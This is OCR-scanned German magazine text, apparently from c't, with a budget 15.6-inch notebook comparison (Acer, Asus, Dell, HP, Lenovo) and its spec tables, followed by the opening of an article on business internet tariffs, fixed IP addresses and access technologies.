Als einziges Notebook im Testfeld bietet das Aspire 5
eine beleuchtete Tastatur; diese Komfortfunktion ist Gblicher-
weise teureren Notebooks vorbehalten. Das Tippgefiihl ist
gut, das Layout ist aber nur im Hauptfeld gelungen: Der Cur-
sor-Block ist in eine Zeile gezwangt, der Ziffernblock besteht
aus nur drei statt wie Ublich vier Spalten. Letzteres erfordert
viel Ubung, weil die sonst vorhandenen groBen Tasten fiir
Null, Plus und Enter fehlen - beziehungsweise anderswo
platziert wurden und viel kleiner sind.

Acer verkauft das 2018er Aspire 5 in etlichen Ausstat-
tungsvarianten, die allesamt mit mattem Full-HD-Bildschirm
daherkommen. Varianten mit den Low-End-GPUs GeForce
MX130 oder MX150 heillen A515-52G, Varianten nur mit in-
tegrierter Intel-GPU hingegen A515-52. Die Preise beginnen
bei 550 Euro mit Core i3, 128er-SSD und 4 GByte Arbeitsspei-
cher. Bei der nachstteureren Ausstattungsvariante muss man
auf eine SSD verzichten und stattdessen mit einer Festplatte
samt Optane-Cache auskommen, was sich merklich zaher
anfuhlt. Maximal sind eine 512-GByte-SSD oder 256er-SSD
plus 1-TByte-Platte mit 16 GByte RAM vorgesehen (1100 Euro).
Der Vorganger A515-51(G) ist weiterhin zu é@hnlichen Preisen
erhaltlich, aber mit 1366er-Bildschirmen und Doppelkernen
der sechsten (Core i3) oder siebten Generation (Core i5) nicht
mehr attraktiv.

Asus VivoBook X540UA

Das VivoBook X540UA kostet nur 580 Euro und ist damit das
glnstigste Notebook im Testfeld; andere X540UA-Konfigu-
rationen bekommt man sogar schon ab 380 Euro. Abgesehen
von fehlenden Windows-Lizenzen findet man in den glinsti-
geren Modellen allerdings entweder langsamere Doppelkern-
Prozessor plus SSD oder Quad-Cores samt grobem 1366er-
Bildschirm und Festplatte. Die Kombination aller wiinschens-
werten Features ist das hier getestete Topmodell.

Dass Asus das X540UA flr einen niedrigen Preis entwi-
ckelt hat, merkt man an vielen kleinen Details. Die CPU-Per-
formance ist ordentlich, doch schon kurze Rechenlast lasst
den Lifter hochfrequent in den horbaren Bereich drehen.
Die Leistungsaufnahme liegt im Ublichen Rahmen, doch
wegen der geringen Akkukapazitat fallen die Laufzeiten kurz
aus. Layout und Tippgefuhl der Tastatur gefallen, doch die
Tastatur quittiert jeden Anschlag mit einem hellen Klappern.
Letzteres gilt auch fur Tipp-Klicks auf dem maustastenlosen
Touchpad. Der Kartenleser nimmt lediglich kleine MicroSD-
Kartchen auf, obwohl das Geh&use ausreichend Platz fir
einen normalgroBen Schacht béte - Asus wollte offensicht-
lich alle Schnittstellen am linken Rand platzieren, um eine in-
terne Verkabelung zum anderen Rand einzusparen. Von den
drei USB-Buchsen beherrscht nur eine flottes USB 3.0.

Ohne Wenn und Aber ist das WLAN-Modul, welches in
beiden Frequenzbandern und mit zwei Datenstromen funkt.
Das schafft im Testfeld sonst nur das 100 Euro teurere Acer-
Notebook. Auch das beiliegende Steckernetzteil gefallt, weil
es sich zum Mitnehmen einfacher im Rucksack verstauen
lasst als Klotze mit zwei Kabeln.

Der Werbeaufkleber auf der Handballenablage ver-
spricht ein ,Leichtgewicht”, was nicht gelogen ist, sich im
Testfeld aber relativiert: Dell und HP sind schwerer, Acer und
Lenovo wiegen nahezu das Gleiche.

© beleuchtete Tastatur

@ Dual-Stream-WLAN

© nutzt Chipsatz-Funktionen nicht aus
© schmaler Ziffernblock

O giinstig

© Dual-Stream-WLAN

© Kartenleser nur MicroSD
© nervose Liiftersteuerung
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Dell Inspiron 15 (3576)

Dells Ingenieure haben beim Inspiron 15 (3576) gute Arbeit
geleistet: Die Rechenleistung ist die hochste im Testfeld und
die Lifterlautstarke gleichzeitig die geringste. Auch bei der
Laufzeit schiebt sich das Notebook im Testfeld ganz nach
vorne - bravo. Preislich rangiert das Gerét allerdings auch
weit vorne: 650 Euro.

Abstriche muss man bei der Netzwerk-Konnektivitat ma-
chen: Das WLAN-Modul funkt mit nur einem Datenstrom, die
LAN-Buchse beherrscht nur Fast Ethernet (100 MBit/s). Die
Konkurrenz liefert zeitgemaBes Gigabit-LAN, und Asus zeigt,
dass Dual-Stream-WLAN auch fir kleines Geld machbar ist.

Kurioserweise bietet das Gehduse zwar einen Schacht
fur ein optisches Laufwerk, doch er wird nicht genutzt - und
das, obwohl es keine anderen Ausstattungsvarianten des In-
spiron 15 (3576) als die hier getestete gibt. Des Ratsels Lo-
sung: Dell verwendet das Chassis auch beim Doppelkern-
und HDD-bestlickten Schwestermodell Inspiron 15 (3567),
welches mit DVD-Brenner daherkommt. Das Nachriisten
einen DVD-Brenners oder eines Massenspeichers im ODD-
Schacht ist nicht moglich, weil Dell auch den SATA-Konnektor
im Schacht weglasst.

Die Inspiron-15-Modelle 3567 und 3576 sind eng mit dem
Business-Gerat Vostro 15 (3568 / 3578) verwandt, was einen
Bonus mit sich bringt: Der Akku lasst sich ganz klassisch ohne
Werkzeug und Bastelarbeiten entnehmen, sodass ein Aus-
tausch oder ein Betrieb am Netzteil ohne Akku maoglich ist.
Ein vorinstalliertes Windows 10 Pro statt Home und eine zu-
satzliche VGA-Buchse gibt es nur bei den Vostros.

Das Tastatur-Layout gefallt trotz einzeiligem Cursor-
Block, weil alle vier Tasten gleich groB sind und die unterste
Tastenzeile tiefer als die sonst tUblichen 19 Millimeter ausfallt
- das macht bei blinder Bedienung viel wett.

© lange Laufzeit

© hohe Rechenleistung

© ODD-Schacht ungenutzt
© schwaches LAN/WLAN

HP 15 (da0406ng)

Beim HP 15 (da0406ng) fihlt man sich ein bisschen in die
Vergangenheit versetzt: Das Notebook wartet mit einem DVD-
Brenner auf. Das ist mittlerweile eine Seltenheit, weil Software
und Filme inzwischen Ublicherweise online bezogen werden.
Wer noch auf Datenscheiben angewiesen ist, diirfte sich al-
lerdings Uber die Kombination eines optischen Laufwerks mit
ansonsten topaktuellen Komponenten und hoher CPU-Leis-
tung freuen. Wie bei einigen anderen Kandidaten ist auch
noch eine LAN-Buchse an Bord.

Als einziges Notebook im Testfeld stellt es dem Nutzer
zwei Maustasten fur Links- und Rechtsklicks zur Verfligung;
die Sensorflache erkennt zudem wie Ublich Gesten mit bis
zu vier Fingern. Die Tastatur bietet einen Ziffernblock mit klas-
sischem Layout und normalbreiten Tasten, doch im haufig
benutzten Hauptfeld ist Ubung nétig: Nicht nur der Cursor-
Block, sondern auch die Enter-Taste sind trotz einer grund-
satzlich deutschen Tastenbelegung nur einzeilig ausgefiihrt.

Selbst bei geringer Systemlast lauft der Lufter immer
horbar mit. Das Notebook macht in ruhigen Umgebungen
also durch Dauersauseln auf sich aufmerksam - was immer-
hin angenehmer ist als ein haufiger Wechsel zwischen Aus
und An wie bei Asus.

Unter der arg generischen Bezeichnung HP 15 findet
man eine Myriade an Notebooks mit verschiedensten tech-
nischen Innenleben. Das Verwirrspiel hat System, denn eine
eindeutige Bezeichnung fiir eine Unterfamilie fehlt: Begin-
nend mit der Modellbezeichnung daO gibt es zwar etliche
Quad-Core-Modelle, aber auch solche mit alteren Doppel-
kernen oder langsamen Atom-Pentiums- und Celerons. An-
ders als beim restlichen Testfeld lassen sich Messergebnisse
wie Lifterlautstarke oder Laufzeit also nicht auf gleichnamige
Schwestermodelle tbertragen.

@ Touchpad mit Maustasten
O optisches Laufwerk

© Enter-Taste einzeilig

© Lufter lauft immer
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Lenovo IdeaPad 330S-151KB

Das IdeaPad 330S-15IKB féllt in zweierlei Hinsicht ins Auge:
Das schlichte Design mit Metalldeckel und metallisch lackier-
tem Gehause nimmt sich unauffallig zurlick, und der Bild-
schirm ist der beste im Testfeld. Dank IPS-Technik sieht man
beim Blick von der Seite weder verfalschte Farben noch blas-
se Kontraste. Hinzu kommt der diinne Rahmen, der bislang
ein Erkennungszeichen weitaus teurerer Notebooks war.

Auch bei den Schnittstellen liegt es vorne, da alle drei
USB-Buchsen flotte USB-3.0-Geschwindigkeit bieten - und
die NVMe-SSD ist drei- bis finfmal so schnell wie die SATA-
SSDs der Konkurrenz. Die Tastatur erfreut mit gutem Feed-
back und einem bis auf den einzeiligen Cursor-Block gelun-
genen Layout; die Tasten des Ziffernblocks fallen etwas
schmaler als Ublich aus. Das kompakte Steckernetzteil ist
flugs in jedem Rucksack verstaut.

Bei der CPU-Performance muss man dagegen massive
Abstriche machen: Trotz identischen CPU-Modells liegt Le-
novo weit abgeschlagen hinter der Konkurrenz, ohne dass
man dadurch andere Vorteile wie etwa besonders wenig LUif-
terlarm hatte. Wegen seines knapp bemessenen Akkus ran-
giert das IdeaPad 330S-15IKB auch bei der Laufzeit abge-
schlagen auf dem letzten Platz. Apropos Akku: Auch ohne
gebootetes Windows lasst sich der Akkustand ermitteln,
indem man bei ausgeschaltetem Geréat eine beliebige Taste
drickt - dann wird der Fullstand auf dem Bildschirm ange-
zeigt.

Lenovo verkauft das IdeaPad 330S-15IKB in rund 30 Aus-
stattungsvarianten zwischen 370 und 1000 Euro; etliche
davon kommen ohne Windows-Lizenz und mit langsameren
CPUs daher. Quad-Core und Windows-Lizenz bekommt man
ab 580 Euro; das 600-Euro-Testmodell ist die glinstigste Aus-
stattung, die auch eine SSD mitbringt. Manche Modelle
haben blaue oder weille Gehause; ab 800 Euro ist die Mit-
telklasse-GPU GeForce GTX 1050 eingebaut.

alle Buchsen mit USB 3.0
IPS-Bildschirm

© geringe CPU-Leistung

© kurze Laufzeit

steller sie mit grofden Unterschieden, sodass man Priorititen set-
zen muss. Beim glinstigen Asus VivoBook X540UA und beim
DVD-Brenner-bestiickten HP hort man die Liifter in ruhigen
Umgebungen. Nur das Lenovo IdeaPad 330S-15IKB bietet ein
blickwinkelunabhéngiges IPS-Display und eine rasante NVMe-

15,6-Zoll-Notebooks mit Quad-Core, SSD
Morel  |ekpiesgetss)

getestete Konfiguration
Lieferumfang

‘ Schnittstellen (V = vorne, H = hinten, L = links, R = rechts, U = unten)

VGA / DVI / HDMI / DisplayPort / Kamera
USB2.0/USB3.0/USB3.1/LAN
Kartenleser / Strom / Docking-Anschluss
Typ-C: TB / USB 3.0 / USB 3.1 / DP / Laden

NX.H55EG.001
Windows 10 Home 64 Bit, Netzteil

—/=ILi=1V
2XR/2XL(AXTypC)/—/L
L(SD)/R/—

—IV ===

s R

Display
Prozessor

Hauptspeicher / Chipsatz

Grafikchip (Speicher) / mit Hybridgrafik
Sound

LAN / WLAN

Mobilfunk / Bluetooth (Stack)
Touchpad (Gesten) / TPM / Fingerabdruckleser
Massenspeicher / optisches Laufwerk

AUO B156HTNO6.1: 15,6 Zoll / 39,6 cm, 1920 x 1080,
16:9, 141 dpi, 19 ... 212 cd/m? matt

Intel Core i5-8265U, 1,6 GHz (Turbo bis 3,9 GHz),
4% 256 KByte L2-, 6 MByte L3-Cache

8 GByte DDR4-2666 / Intel Whiskey-Lake-U
PEG: Nvidia GeForce MX130 (2048 MByte GDDRS) / v/
HDA: Realtek ALC255

PCle: Realtek (GBit) / PCle: Intel Wireless-AC 9560
(a/b/g/n-300/ac-867)

— / USB: Intel (Microsoft)
12C: HID (max. 4 Finger) /TPM 2.0 / —

SSD + HDD: SK Hynix SC308 +WD Blue
(128 + 1000 GByte) / —

‘ Stromversorgung, Mafe, Gewicht

Akku / wechselbar / Ladestandsanzeige
Netzteil

Gewicht / GroRe / Dicke mit Fiien
Tastaturhdhe / Tastenraster

50 Wh Lithium-lonen / — / —

65W, 314 ¢,9,5¢cm x 5,1 ¢cm x 2,5 cm,
Kleeblattstecker

1,76 kg / 36,3cmx 24,8cm /2 ...2,2cm
1,5¢m/ 19 mm X 18 mm

‘ Leistungsaufnahme

Suspend / ausgeschaltet

ohne Last (Display aus / 100 cd/m? / max)
CPU-Last / Video / 3D-Spiele (max. Helligkeit)
max. Leistungsaufnahme / Netzteil-Powerfactor

04W/03W
32W/6,1W/7,3W
53,5W/10,8W/56,7W
65,1W /0,56

‘ Laufzeit, Gerdusch, Benchmarks

Laufzeit Idle (100 cd/m?) /Video (200 cd/m?) / 3D (max) 11h (4,6W)/6,3h (8,1W)/1,5h (34,7 W)

Ladezeit / Laufzeit nach 1h Laden

Geréusch ohne / mit Rechenlast

SSD lesen / schreiben

I0PS (4K) lesen / schreiben

Leserate SD-Karte

WLAN 5 GHz / 2,4 GHz (20 m) / MU-MIMO-fahig
Qualitat Audioausgang / Dynamikumfang

CineBench R15 Rendering (1 / n CPU)

3DMark (Night Raid / Sky Diver / Fire Strike / Time Spy)

19h/57h

<0,1 Sone / 1,4 Sone
529,3 / 128,3 MByte/s
74051 /29348

68,6 MByte/s

19,5/22,6 MByte/s / v/
@®® /99,9 dB(A)

163 /499

5076 /7765/2171/721

o~ S

Laufzeit
Rechenleistung Biiro / 3D-Spiele
Display / Gerduschentwicklung

@D
@®/0
O/o

‘ Preis und Garantie

StraBenpreis Testkonfiguration
Garantie
@@ sehr gut

@ gut QO zufriedenstellend

680 €
2 Jahre

© schlecht ©QO sehr schlecht
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SSD -aber auch die geringste Rechenleis-
tung und die kiirzeste Laufzeit. Bei Acers
Aspire 5 (A515-52G) und Dells Inspiron 15
(3576) muss man die wenigsten Kompro-
misse eingehen, doch es sind auch die teu-

ersten Kandidaten. Spiirbar mehr CPU-
Performance und spieletaugliche GPUs
bekommt man erst bei sehr viel teureren -
und schwereren - 15,6-Zdllern.
(mue@ct.de) €€

Notebooks | Test

Literatur

[1] Florian Missig, Fur unterwegs und daheim,
13,3-Zoll-Notebooks mit USB-C-Schnittstelle,
c't9/2018, S. 96

[2] F. Missig, Mobile Entschleunigung, Giinstige No-
tebooks von 11,6 bis 17,3 Zoll, c't 16/2018, S. 76

und mattem Bildschirm: Daten und Testergebnisse

| AsusVivoBook X540UA Dell Inspiron 15 (3576) HP 15 (da0406ng) Lenovo IdeaPad 3305-151KB

90NBOHF1-M13510
Windows 10 Home 64 Bit, Netzteil

9HRPY
Windows 10 Home 64 Bit, Netzteil

4PN81EA#ABD
Windows 10 Home 64 Bit, Netzteil

81F500WWGE
Windows 10 Home 64 Bit, Netzteil

—/=/LI=IV
2xL/1xL/=/—
L (MicroSD) / L/ —

—/=ILI=IvV
I1XR/2XL/=/L
R(SD)/L/—

—/=/LI=IV
IXR/2XL/=/L
R(SD)/L/—

—/=/LI=Iv
—/2xL(I1xTypC),1xXR/—/-
R(SD)/L/—

— IV I=1=1-

BOE NT156FHM: 15,6 Zoll / 39,6 cm, 1920 x 1080,
16:9, 141 dpi, 11 ... 195 cd/m?, matt

Intel Core i5-8250U, 1,6 GHz (Turbo bis 3,4 GHz),
4 X 256 KByte L2-, 6 MByte L3-Cache

8 GByte DDR4-2400 / Intel Kaby-Lake-U
int.: Intel UHD 620 (vom Hauptspeicher) / —
HDA: Realtek ALC256

— / PCle: Intel Dual Band Wireless-AC 8265
(a/b/g/n-300/ac-867)

— / USB: Intel (Microsoft)
12C: HID (max. 4 Finger) /TPM 2.0 / —
SSD: SanDisk X600 (256 GByte) / —

AUO B156HTN: 15,6 Zoll / 39,6 cm, 1920 x 1080,
16:9, 141 dpi, 14 ... 220 cd/m? matt

Intel Core i5-8250U, 1,6 GHz (Turbo bis 3,4 GHz),
4 X 256 KByte L2-, 6 MByte L3-Cache

8 GByte DDR4-2400 / Intel Kaby-Lake-U
PEG: AMD Radeon 520 (2048 MByte GDDR5) / v/
HDA: Realtek ALC236

PCle: Realtek (100 MBit) / PCle: Intel Dual Band
Wireless-AC 3165 (a/b/g/n-150/ac-433)

— / USB: Intel (Microsoft)
PS/2: HID (max. 4 Finger) /TPM 2.0 / —
SSD: Micron 1100 (256 GByte) / —

AUO38ED: 15,6 Zoll / 39,6 cm, 1920 x 1080,
16:9, 141 dpi, 17 ... 238 cd/m? matt

Intel Core i5-8250U, 1,6 GHz (Turbo bis 3,4 GHz),
4 X 256 KByte L2-, 6 MByte L3-Cache

8 GByte DDR4-2666 / Intel Kaby-Lake-U
int.: Intel UHD 620 (vom Hauptspeicher) / —
HDA: Realtek ALC236

PCle: Realtek (GBit) / PCle: Realtek RTL8821CE
(a/b/g/n-150/ac-433)

— / USB: Realtek (Microsoft)
PS/2: Synaptics (max. 4 Finger) /TPM 2.0 / —

SSD + HDD: LiteOn CV8 + HGST Travelstar Z5K1
(128 + 1000 GByte) / HL-DT-ST GUELN (DVD-Multi)

BOE NV156FHM-N48: 15,6 Zoll / 39,6 cm,
1920 x 1080, 16:9, 141 dpi, 4 ... 237 cd/m? matt

Intel Core i5-8250U, 1,6 GHz (Turbo bis 3,4 GHz),
4 X 256 KByte L2-, 6 MByte L3-Cache

8 GByte DDR4-2666 / Intel Kaby-Lake-U
int.: Intel UHD 620 (vom Hauptspeicher) / —
HDA: Realtek ALC236

— / PCle: Qualcomm QCA9377
(a/b/g/n-150/ac-433)

— / USB: Qualcomm (Microsoft)
12C: HID (max. 4 Finger) /TPM 2.0 / —
SSD: Samsung PMI61 (256 GByte) / —

30 Wh Lithium-lonen / — / —

45W, 149 ¢,5,3 cm X 5,3 ¢m X 2,9 cm,
Steckernetzteil

1,72kg/38,1cmx25¢m/2,6..3cm
1,9cm/ 19 mm X 19 mm

40 Wh Lithium-lonen / v/ / —

65W, 328 ¢,10,7 cm x 4,6 cm X 2,8 cm,
Kleeblattstecker

2,11kg/38cmx259cm/25...2,6 cm
1,7cm/ 19 mm X 18 mm

41 Wh Lithium-lonen / — / —

45W,270¢,9,1 cm X 3,6 cm X 2,7 cm,
Kleeblattstecker

2,01kg/ 37,6 cmx24,6cm/2,4cm
1,6 cm /18,5 mm X 18,5 mm

26 Wh Lithium-lonen / — / —

45W, 170 ¢,6,3 cm X 6,3 ¢cm X 2,9 cm,
Steckernetzteil

1,74 kg /358 cmx24,3cm/2,1..2,3¢cm
1,5¢m/ 19 mm X 19 mm

0,4W/0,3W
21W/52W/62W
47,4W/9,3W/332W
45,6 W /0,53

04W/03W
19W/38W/45W
51,8W/7,8W/40,3W
56,2W /0,52

06W/0,4W
25W/53W/TW
29,3W/9,8W/29,3W
44,9W /0,54

05W/0,4W
3W/55W/68W
41,4W/9,1W/29,7TW
45,4W /0,52

7,7h(4W)/44nh(6,9W)/1,4h(225W)

12h(3,3W)/6h(6,7W)/2,4h(169W)

9,9h (41W)/59h (69W)/1,7h(23,6W)

6,7h(38W)/3,6h(72W)/1,1h(22,7W)

14h/55h 18h/65h 1,3h/7,7h 1,3h/52h

0,1 Sone / 0,8 Sone <0,1 Sone /0,7 Sone 0,1 Sone / 1,1 Sone <0,1 Sone /1,1 Sone

518,5/ 257,2 MByte/s 475,5 / 476,4 MByte/s 523,3 / 143,7 MByte/s 2513,2 /1290,5 MByte/s

54838 / 45949 51651 / 54019 43395 / 36810 70019 / 50854

43 MByte/s 19,9 MByte/s 34,8 MByte/s 20,1 MByte/s

23 /21,4 MByte/s / v 10,8 /8,5 MByte/s / — 16 /12,6 MByte/s / v/ 14,6 / 12 MByte/s / v/

@@ /99,6 dB(A) @ /97,2 dB(A) @®® /100,1 dB(A) @ /93,2 dB(A)

144 /539 142 /599 144 / 549 143 /427

5269 / 4525 / 1140 / 428 4568 /5253 / 1536 / 519 4683 /4170 /973 / 392 5237/ 4556 / 1119 / 428
e

O ®D @ O

@D/ O @D/ 0 @D/ O @D/ O

O/0 o/® O/0 ®/0
e

580 € 650 € 600 € 600 €

1 Jahr 1 Jahr 1 Jahr 2 Jahre

v/ vorhanden — nicht vorhanden k. A. keine Angabe
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Bild: Thorsten Hiibner

Business online

22 Internettarife mit besonderen
Leistungen fiir Geschaftskunden

Internetzuginge fiir Geschifts- lle grofden Internet-Provider, die im
kunden bieten hohe Ausfall- Privatkundengeschift titig sind,
sicherheit und auf Wunsch eine haben auch ein Angebot flir Geschifts-
feste IP-Adresse. Einstiegspakete kunden. Auf den ersten Blick erscheinen
gibt es schon ab 35 Euro die Angebote fast identisch. Schaut man
monatlich - genaues Hinsehen genauer hin, offenbaren sich grofde Unter-
lohnt sich aber. schiede.

Die erste Hiirde beim Vergleich ist die
Mehrwertsteuer. Flir Geschiftskunden
Von Urs Mansmann werden meist Nettopreise angegeben, was

100 mOO

im Privatkundengeschift gar nicht zuléssig
wire. Allerdings kann man sich darauf
nicht verlassen und mitunter, beispielswei-
se bei Vodafone, gehen Preise mit und
ohne Mehrwertsteuer auch gerne mal bunt
durcheinander. In unserer Ubersicht auf
Seite 104 haben wir alle Preise inklusive
Mehrwertsteuer angegeben. Da auf den
Webseiten oft Nettopreise angegeben wer-
den, ergeben sich aus den typischen
Schwellenpreisen wie 29,99 Euro krumme
Werte - in diesem Beispiel 35,69 Euro.

Die strikte Trennung von Privat- und
Businessanschliissen besteht schon lange
nicht mehr. Die Zeiten, in denen die Te-
lekom VDSL-Privatkunden-Anschliisse
gnadenlos abschaltete, sobald sie eine ge-
schiftliche Nutzung vermutete, sind lange
vorbei. Geschiftskunden konnen also
durchaus zu giinstigeren Privatkunden-
angeboten greifen, miissen dann aber
auch mit den Leistungen und der geringe-
ren Betriebssicherheit dieser Anschliisse
leben. Andersherum bieten die Provider
ihre Geschéftskundentarife Privatkunden
meist nicht an, einige verlangen im Zwei-
felsfall sogar einen Nachweis der ge-
schiftlichen Téatigkeit. Dabei geht es den
Providern vermutlich nicht ums Prinzip,
sondern um Verbraucherrechte, die bei
Geschiften zwischen Unternehmen nicht
eingehalten werden miissen.

Ein wichtiger Unterschied zwischen
den beiden Produktgruppen liegt im Ser-
vice. Geschiftskundenanschliisse haben
eine garantierte Entstorungszeit und wer-
den deshalb vorrangig entstort. Die Garan-
tie ist allerdings nicht allzu viel wert: Bei
Grof3storungen, etwa wenn ein Lkw einen
Verteilerkasten umfihrt oder wenn Hoch-
wasser eine Vermittlungsstelle flutet, kon-
nen Anschliisse auch einmal Tage oder
Wochen ausfallen, ohne dass man den Pro-
vider dafiir in Haftung nehmen konnte.

Schnelle Entstérung
Ublicherweise betriigt die Entstorzeit acht
Stunden. Da die wenigsten Betriebe rund
um die Uhr arbeiten, erfolgt die Entsto-
rung zwar liblicherweise noch am glei-
chen Tag, aber bei Ausschopfung der Frist
in vielen Fillen erst nach den Geschifts-
zeiten.

Was die Sache noch schlimmer
macht: Mit dem Wegfall von ISDN-An-
schliissen lauft auch das Telefon tiber die
Internet-Anbindung. Wenn der Internet-
Anschluss ausfallt, ist also nicht nur das
Internet tot, sondern auch der Telefon-
anschluss, egal ob die Anlage vor Ort steht
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oder in der Cloud. Mit einer Anlage vor
Ort klappen aber dann wenigstens noch
interne Gespriche.

Uberschreitet der Provider die ver-
traglich vereinbarten Entstorzeiten, macht
er sich unter Umstidnden schadenersatz-
pflichtig. Grundsétzlich kénnen Unterneh-
men solche Anspriiche zwar geltend ma-
chen, in der Praxis ist das aber sehr
schwierig. Oft scheitert es schon daran,
dass die konkrete Hohe des Schadens
durch den Ausfall der Internetverbindung
sehr schwer gerichtsfest nachzuweisen ist.

Wer auf den Anschluss dringend an-
gewiesen ist, etwa weil Auftrige aus-
schlieflich online oder telefonisch herein-
kommen, sollte sich lieber einen redun-
danten Zugang zulegen, damit erst gar
kein Schaden entsteht. Idealerweise ldsst
man einen zusitzlichen Anschluss tiber
ein anderes Medium laufen, damit eine
Storungsursache nicht gleich beide An-
schliisse lahmlegen kann. Alternativ zu
DSL-Zugingen bieten sich TV-Kabelzu-
ginge und andersherum an. Als letzter
Notnagel kann man sich des Mobilfunks
bedienen, idealerweise tiber das schnelle
LTE. Mit Tagesflatrates entstehen dafiir
noch nicht einmal laufende Kosten. Uber
eine bedingte Rufumleitung bei Nicht-
erreichbarkeit lassen sich Telefonate bei
einem Ausfall der VoIP-Verbindung auto-
matisch auf Handys umleiten.

Die IP-Telefonanlage und die VoIP-
Dienste muss man nicht zwingend vom
gleichen Anbieter beziehen wie den Inter-
netanschluss. Die hier vorgestellten Tarife
bieten durchweg nur wenige gleichzeitige
Gespriache und Rufnummern. Fiir kleine
Unternehmen wie eine Anwaltskanzlei
oder einen Handwerksbetrieb mit weni-
gen Angestellten reicht das durchaus - wer
mehr benotigt, ist bei einem VoIP-Spezia-
listen aber unter Umsténden besser auf-
gehoben als bei einem Vollsortimenter,
bei dem Telefonie nur eine Leistung von
vielen ist.

Eine Ausnahme stellt das Angebot
von Easybell dar, das standardmifiig
wahlweise eine Cloud-Telefonanlage oder
einen SIP-Trunk umfasst, also eine virtu-
elle Telefonanlage oder einen virtuellen
Anlagenanschluss. Solche Leistungen gibt
es auch von anderen Anbietern, aber in
aller Regel nur gegen Aufpreis.

IP-Adressen

Ein wichtiger Grund fiir einen Geschifts-
kundenanschluss ist die Zuweisung min-
destens einer festen IP-Adresse. Dariiber
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ist das Firmennetz von aufden zuginglich,
ohne dass man Klimmziige wie DDNS
machen muss. Feste IP-Adressen gibt es
in Deutschland ausschlieRlich fiir Ge-
schiftskundenanschliisse. Privatkunden
miissen damit leben, dass sie zumindest
hin und wieder eine neue IP-Adresse zu-
gewiesen bekommen.

Gerade in diesem Punkt empfiehlt es
sich aber, genau hinzuschauen. Wenn eine
Adresse inklusive ist, dann stets nur eine
IPv4-Adresse. Weitere IPv4-Adressen
konnen richtig Geld kosten, etwa 39,90
Euro fiir vier weitere IPv4-Adressen bei
Unitymedia - pro Monat. Wer mehr als
eine IPv4-Adresse braucht, sollte die
Angebote daher sorgfiltig vergleichen.

Sehr viel grofdziigiger verteilen die
Provider IPv6-Adressen, bei denen keine
Knappheit herrscht. Hier erhidlt man in-
zwischen standardméfig ein /56-Prifix.
Allerdings bietet auch 2019 noch nicht
jeder Anbieter IPv6-Adressen an. Wer
IPv6 benotigt, hat also nur eine einge-
schriankte Auswahl.

Die richtige Zugangstechnik

In stadtischen Wohnlagen und Gewerbe-
gebieten hat man oft die Wahl zwischen
verschiedenen Zugangstechniken. Glinstig
und leistungsfihig sind VDSL-Anschliisse.
Diese gibt es mit bis zu 250 MBit/s im
Downstream und 40 MBit/s im Upstream.
Allerdings haben noch langst nicht alle An-
bieter die 250-MBit/s-Variante im Ange-
bot, auch wenn sie vor Ort technisch be-
reits verfiigbar ist. Die Telekom bietet sol-
che Anschliisse zwar an, die meisten Wie-
derverkdufer sind aber kurz nach dem

GESCHAFTSKUNDEN

I.....L

Im Bestellprozess
tauchen gerne
voraktivierte
Optionen auf, die
man durch einen
Klick entfernen
muss.

Start der neuen Super-Vectoring-Technik
offensichtlich noch nicht darauf einge-
stellt, die Anschliisse ihrerseits zu verkau-
fen. Branchenstandard ist weiterhin der
100-MBit/s-Anschluss mit 40 MBit/s im
Upstream. Glinstiger lassen sich Anschliis-
se mit 50 MBit/s im Downstream und 10
MBit/s im Upstream buchen. 25-MBit/s-
Anschliisse mit 5 MBit/s im Upstream sind
ein Notbehelf, wo die Anschlussleitung
nicht mehr hergibt.

Wo VDSL nicht verfligbar ist, bieten
die Provider ADSL an. Nominal bieten die
Anschlisse 16 MBit/s im Downstream
und 1 oder 2,5 MBit/s im Upstream. Preis-
lich unterscheiden sich diese Anschliisse
meist nicht vom 50-MBit/s-Angebot,
bleiben aber in der Leistung weit zurtick.
In den meisten Fillen erreicht man an
ADSL-Anschlissen nur 10 bis 14 MBit/s
im Downstream.

Wenn ein ADSL-Anschluss noch we-
niger hergibt, kann man auf SDSL zurtick-
greifen. Typischerweise erreicht man auf
einer Leitung dann 1,5 bis rund 2 MBit/s,
sowohl in Sende- als auch in Empfangs-
richtung; das S im Kiirzel steht fiir ,,sym-
metrisch®. In der Tabelle haben wir ein
SHDSL-Angebot von Plusnet aufgefiihrt,
das durch die Verwendung mehrere Lei-
tungen (Bonding) bis zu 20 MBit/s in bei-
den Richtungen erreicht. Der grof3e Auf-
wand schlégt allerdings auch auf den Preis
durch. Fiir das Angebot sind auch weniger
leistungsfihigere Varianten mit geringe-
ren monatlichen Kosten verfiigbar.

Eine interessante Alternative auch fiir
Geschiftskunden ist das TV-Kabel. Dieses
erreicht im Downstream bis zu 1 GBit/s,

CALEBEN, WAS VERBINDET

I-.—,M |"""S
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VD5L bis zu 100 Mbit/s Geschaftstelefonie

Echie Flatrates, gaantierte Hufnummemblocke ohne

v Aufpeets, aptional bis

waliele Gesprache

Office Komplett Business-DSL und Telefonie

Faire Flat-Angebote Cloud Telefonanlage

einfach, sicher w

Mmehr erfahren

Von uns geprofte Adresse:
verfugt

W25 Hannover
Karl-wiecher-Allee 0

Herzhchen Glickwunsch, folgende Anschiussiechnologien sind

VOSL: bis 21 100 Mbit/s im Down- und
ADSL Annex |: bis 1 16 ME 3
ADSL Annex B: bis ru 16 Mbit/s im Down- und 1 Mbitfs im Upload

% im Down- | 1/ im Upload

Anhand der Adresse kdnnen die Anbieter ermitteln, welche
Datenrate am Anschluss zur Verfligung steht.

im Upstream bis zu 50 MBit/s. Der Anbie-
ter Unitymedia, der in Baden-Wiirttem-
berg, Hessen und Nordrhein-Westfalen
ttig ist, bietet Geschiftskunden derzeit
aber maximal 25 MBit/s im Upstream.

Noch mehr Leistung erhélt man an
Glasfaseranschliissen, die in Deutschland
aber nur an wenigen Stellen verfiigbar
sind. Ist das Gebaude erschlossen, ist man
auf den Anbieter angewiesen, der das
Kabel verlegt hat. Anders als bei Kupfer-
Telefonleitungen der Telekom gibt es im
Glasfasermarkt keine Verpflichtung fiir
die Provider, anderen Anbietern den Zu-
gang zum Glasfasernetz zu gewihren.

Ein Neuanschluss ist zwar eine teure
Sache, kann sich fiir grofiere Firmen aber
durchaus lohnen. Der Preis hangt von den
ortlichen Gegebenheiten ab. Ist nur eine
kurze Stichleitung von einer bestehenden
Glasfasertrasse zu verlegen, kostet der An-
schluss nur einen niedrigen vierstelligen
Betrag. Ist hingegen eine kilometerlange
Trasse notig, belaufen sich die Kosten
schnell auf sechsstellige Betrige. Manch-
mal ist ein Umzug des Unternehmens in
ein breitbandtechnisch gut erschlossenes
Gebiet die glinstigere Variante.

Kostenfallen

